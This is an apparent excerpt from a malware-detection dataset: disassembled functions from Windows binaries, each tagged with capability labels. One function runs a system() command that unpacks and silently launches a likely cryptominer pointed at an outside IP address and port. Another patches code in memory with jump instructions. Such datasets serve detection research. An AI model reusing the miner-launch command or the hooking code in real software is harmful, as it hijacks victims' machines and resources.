joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18005ecf0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x180076010]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov eax, ecx
lea r9, [rsp + 0x20]
imul rbx, rax, 0x38
mov esi, edx
add rbx, qword [0x1800773d0]
mov r8, qword [rbx]
movzx eax, byte [rbx + 0x20]
and al, 1
movzx ecx, al
lea rdi, [r8 - 5]
cmove rdi, r8
mov r8d, 0x40
lea rbp, [rcx*2 + 5]
mov rcx, rdi
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x18005ed63
mov eax, 0xa
jmp 0x18005edf2
test esi, esi
je 0x18005ed85
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x18005eda8
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x18005eda8
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x18005eda1
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
movzx eax, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x18005eda8
movzx eax, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
and byte [rbx + 0x20], 0xfd
and sil, 1
movzx eax, sil
shl sil, 2
add al, al
or al, byte [rbx + 0x20]
and al, 0xfb
or al, sil
mov byte [rbx + 0x20], al
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.18005f8e0
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x18005ee20
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, ecx
mov ecx, dword [0x1800773dc]
mov ebx, edi
test ecx, ecx
je 0x18005ef5b
mov rax, qword [0x1800773d0]
add rax, 0x20
nop
movzx edx, byte [rax]
shr edx, 1
and edx, 1
cmp edx, esi
jne 0x18005ee78
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x18005ee50
mov eax, edi
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
cmp ebx, 0xffffffff
je 0x18005ef5b
mov r8d, edi
lea rcx, [rsp + 0x20]
test esi, esi
mov edx, 0xffffffff
setne r8b
call fcn.18005eb40
mov r8d, dword [0x1800773dc]
cmp ebx, r8d
jae 0x18005eee8
nop word [rax + rax]
mov eax, ebx
imul rcx, rax, 0x38
mov rax, qword [0x1800773d0]
movzx edx, byte [rcx + rax + 0x20]
shr edx, 1
and edx, 1
cmp edx, esi
je 0x18005eee1
mov edx, esi
mov ecx, ebx
call fcn.18005ecf0
mov edi, eax
test eax, eax
jne 0x18005eee8
mov r8d, dword [0x1800773dc]
inc ebx
cmp ebx, r8d
jb 0x18005eeb0
cmp qword [rsp + 0x20], 0
je 0x18005ef5b
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x18005ef47
mov rbx, qword [rsp + 0x20]
mov qword [rsp + 0x40], rbp
mov ebp, eax
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x18005ef38
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rbp, 1
jne 0x18005ef10
mov rbp, qword [rsp + 0x40]
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x180077160]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x48]
mov eax, edi
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x18005f2e0
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r15
sub rsp, 0x30
xor r15d, r15d
mov esi, edx
mov ebx, r15d
xor eax, eax
mov rdi, rcx
mov ebp, 1
lock cmpxchg dword [0x180077054], ebp
je 0x18005f337
cmp rbx, 0x20
jae 0x18005f320
xor ecx, ecx
jmp 0x18005f322
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
xor eax, eax
lock cmpxchg dword [0x180077054], ebp
jne 0x18005f316
cmp qword [0x180077160], r15
je 0x18005f431
test rdi, rdi
jne 0x18005f357
mov ecx, esi
call fcn.18005ee20
mov ebp, eax
jmp 0x18005f436
mov ecx, dword [0x1800773dc]
mov ebx, r15d
test ecx, ecx
je 0x18005f37f
mov r8, qword [0x1800773d0]
mov rax, r8
nop
cmp rdi, qword [rax]
je 0x18005f389
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x18005f370
mov ebp, 4
jmp 0x18005f436
cmp ebx, 0xffffffff
je 0x18005f37f
mov eax, ebx
imul rdx, rax, 0x38
movzx eax, byte [rdx + r8 + 0x20]
shr eax, 1
and eax, ebp
cmp eax, esi
je 0x18005f428
mov r8d, ebp
lea rcx, [rsp + 0x20]
mov edx, ebx
call fcn.18005eb40
mov edx, esi
mov ecx, ebx
call fcn.18005ecf0
mov ebp, eax
cmp qword [rsp + 0x20], r15
je 0x18005f436
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x18005f412
mov rbx, qword [rsp + 0x20]
mov esi, eax
nop word [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x18005f408
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rsi, 1
jne 0x18005f3e0
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x180077160]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18005f436
neg esi
sbb ebp, ebp
add ebp, 6
jmp 0x18005f436
mov ebp, 2
xchg dword [0x180077054], r15d
mov rbx, qword [rsp + 0x40]
mov eax, ebp
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r15
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140013b00]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140013b10]
mov dword [rax], 1
mov rax, qword [0x140013b20]
mov dword [rax], 1
mov rax, qword [0x140013af0]
mov dword [rax], 1
mov rax, qword [0x1400139a0]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x140013ae0]
mov dword [0x140017020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010c0
mov ecx, 2
call sub.msvcrt.dll___set_app_type
call fcn.140011910
mov rdx, qword [0x140013aa0]
mov edx, dword [rdx]
mov dword [rax], edx
call fcn.140011900
mov rdx, qword [0x140013a80]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140013950]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sub.msvcrt.dll___set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [sym._matherr]
call sym.unk_26
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x140001591
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call sym.__main
lea rcx, str.cd_C:UsersPublic__7.exe_x_runing.7z__cd_C:UsersPublic_runing__runing.exe__o_103.106.228.22:5335___cpu___cpu_max_threads_hint_60__B
call sub.msvcrt.dll_system
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x1400015c1
lea rcx, str.succ_n
call sym.printf
jmp 0x1400015cd
lea rcx, str.error_n
call sym.printf
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x1400018b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400117e0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400117e0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x140001920
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1400170b4]
mov r12, rcx
test ebx, ebx
jle 0x140001a50
mov rax, qword [0x1400170b8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x14000196c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400019f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x140001950
mov rcx, r12
call sym.unk_35
mov rsi, rax
test rax, rax
je 0x140001a72
mov rax, qword [0x1400170b8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call sym.unk_38
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400170b8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a57
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400019ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001a00
add dword [0x1400170b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1400170b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400019ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.unk_22
nop dword [rax]
xor ebx, ebx
jmp 0x140001977
mov rax, qword [0x1400170b8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.unk_22
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call sym.unk_22
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001f30
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140017120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140017100]
test rbx, rbx
je 0x140001f84
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140001f7b
test r12, r12
je 0x140001f7b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f60
lea rcx, [0x140017120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400021a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400021b8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400021c0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400021d0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
mov r8, rdx
lea rdx, [rax + rcx]
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x14000221c
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov ecx, dword [rax + 0xc]
mov rdx, rcx
cmp rcx, r8
ja 0x140002213
add edx, dword [rax + 8]
cmp rdx, r8
ja 0x14000221e
add rax, 0x28
cmp rax, r9
jne 0x140002200
xor eax, eax
ret

Function at 0x140002220
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sub.msvcrt.dll_strlen
cmp rax, 8
ja 0x1400022b0
mov rdx, qword [0x1400139a0]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x14000229e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000229e
cmp word [rax + 0x18], 0x20b
jne 0x14000229e
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x1400022b0
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x140002289
add r12, 0x28
cmp r12, rsi
je 0x1400022b0
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x140002280
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x1400022c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400139a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400022e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400022e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400022e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002335
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000232c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400022e0
add rax, 0x28
cmp rax, r9
jne 0x140002318
xor eax, eax
ret

Function at 0x140002340
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400139a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002360
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002368
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002360
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140002380
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400139a0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400023a0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400023a8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400023a0
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x1400023e8
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400023df
test rcx, rcx
je 0x1400023a0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400023d0
xor eax, eax
ret
Function at 0x1400023f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400139a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002410
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002418
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140002430
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x1400139a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002450
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002458
mov eax, r8d
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002450
sub rcx, rax
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x140002450
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002494
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400024a8
add rax, 0x28
cmp r9, rax
jne 0x140002480
xor r8d, r8d
mov eax, r8d
ret
mov r8d, dword [rax + 0x24]
not r8d
shr r8d, 0x1f
mov eax, r8d
ret

Function at 0x1400024c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400139a0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400024e2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400024f0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024e2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400024e2
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x1400024e2
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x14000253d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002550
add rdx, 0x28
cmp r10, rdx
jne 0x140002528
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x14000255f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x14000256f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002546
test ecx, ecx
jg 0x140002558
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret

Function at 0x140003be0
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x140013a20]
mov rax, qword [rsi]
test rax, rax
je 0x140003c70
cmp qword [rax + 0x30], 0
jne 0x140003c90
lea rbx, [0x140012078]
mov qword [rax + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [rsi]
test rax, rax
je 0x140003c40
cmp qword [rax + 0x30], 0
jne 0x140003c60
lea rdx, [0x140012078]
mov qword [rax + 0x30], rdx
mov rax, rdx
cmp dword [rax], 0xffffffff
je sym.unk_49
add rsp, 0x28
pop rbx
pop rsi
ret
call sym.unk_133
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x140003c22
test rax, rax
jne 0x140003c60
call sym.unk_133
nop dword [rax]
mov rax, qword [rax + 0x30]
jmp 0x140003c30
call sym.unk_133
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x140003c00
test rax, rax
jne 0x140003c90
call sym.unk_133
nop dword [rax]
mov rbx, qword [rax + 0x30]
jmp 0x140003c0b
Function at 0x1400047c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rsi, qword [0x140013a20]
mov rax, qword [rsi]
test rax, rax
je 0x1400049b0
cmp qword [rax + 0x28], 0
jne 0x140004998
lea rcx, [0x1400171d8]
cmp dword [rcx], 1
mov qword [rax + 0x28], rcx
je 0x1400049a5
call sym.unk_51
mov rax, qword [rsi]
test rax, rax
je 0x140004840
cmp qword [rax + 0x30], 0
jne 0x140004860
lea rdx, [0x140012078]
mov qword [rax + 0x30], rdx
mov rax, rdx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
je 0x140004874
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call sym.unk_133
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x140004810
test rax, rax
jne 0x140004860
call sym.unk_133
nop dword [rax]
mov rax, qword [rax + 0x30]
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
jne 0x14000482e
call sym.unk_47
cmp qword [sym.unk_73], 0
mov rbx, rax
je 0x14000482e
test rax, rax
je 0x14000482e
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx + 0x70], eax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call sym.unk_181
cmp eax, 1
je 0x140004a1d
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r12, rax
call rbp
mov dword [rsp + 0x30], 2
mov r8, rdi
mov rdx, r12
mov dword [rsp + 0x28], 0
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je sym.unk_55
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [rsi]
test rax, rax
je 0x1400049f8
cmp qword [rax + 0x30], 0
je 0x1400049e0
mov rax, qword [rax + 0x30]
mov ecx, dword [rax]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je sym.unk_55
mov r12, rbx
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rax + 0x28]
cmp dword [rcx], 1
jne 0x1400047fc
mov rax, qword [rsi]
jmp 0x140004809
call sym.unk_133
cmp qword [rax + 0x28], 0
mov rax, qword [rsi]
je 0x1400047e8
test rax, rax
jne 0x140004998
call sym.unk_133
mov rcx, qword [rax + 0x28]
cmp dword [rcx], 1
jne 0x1400047fc
jmp 0x140004801
lea rdx, [0x140012078]
mov qword [rax + 0x30], rdx
mov rax, rdx
jmp 0x14000496e
call sym.unk_133
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x1400049e0
test rax, rax
jne 0x14000496a
call sym.unk_133
jmp 0x14000496a
call sym.unk_50
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140007860
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140013a20]
mov rax, qword [rbx]
mov r12, rcx
mov esi, edx
test rax, rax
je 0x140007930
cmp qword [rax + 0x60], 0
jne 0x140007950
lea rcx, [0x140012068]
mov qword [rax + 0x60], rcx
call sym.unk_141
mov rcx, r12
call sym.unk_42
test rax, rax
je 0x140007960
cmp qword [rax + 0x1d8], r12
jne 0x140007960
test byte [rax + 0x40], 0xc
jne 0x140007960
mov edx, dword [rax + 0xbc]
test edx, edx
jne 0x140007960
mov rax, qword [rax + 0x28]
sub rax, 1
cmp rax, 0xfffffffffffffffd
ja 0x140007960
mov rax, qword [rbx]
test rax, rax
je 0x1400079c0
cmp qword [rax + 0x60], 0
jne 0x1400079e0
lea rcx, [0x140012068]
mov qword [rax + 0x60], rcx
call sym.unk_143
test esi, esi
je 0x1400079f0
lea edx, [rsi - 2]
cmp edx, 0x15
ja 0x1400079f8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
jmp sym.unk_104
call sym.unk_133
cmp qword [rax + 0x60], 0
mov rax, qword [rbx]
je 0x14000788b
test rax, rax
jne 0x140007950
call sym.unk_133
nop dword [rax]
mov rcx, qword [rax + 0x60]
jmp 0x140007896
mov rax, qword [rbx]
test rax, rax
je 0x140007990
cmp qword [rax + 0x60], 0
jne 0x1400079b0
lea rcx, [0x140012068]
mov qword [rax + 0x60], rcx
call sym.unk_143
mov eax, 3
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
call sym.unk_133
mov r8, rax
mov rax, qword [rbx]
cmp qword [r8 + 0x60], 0
je 0x14000796f
test rax, rax
jne 0x1400079b0
call sym.unk_133
nop dword [rax]
mov rcx, qword [rax + 0x60]
jmp 0x14000797a
call sym.unk_133
cmp qword [rax + 0x60], 0
mov rax, qword [rbx]
je 0x1400078fa
test rax, rax
jne 0x1400079e0
call sym.unk_133
nop dword [rax]
mov rcx, qword [rax + 0x60]
jmp 0x140007905
xor eax, eax
jmp 0x140007984
mov eax, 0x16
jmp 0x140007984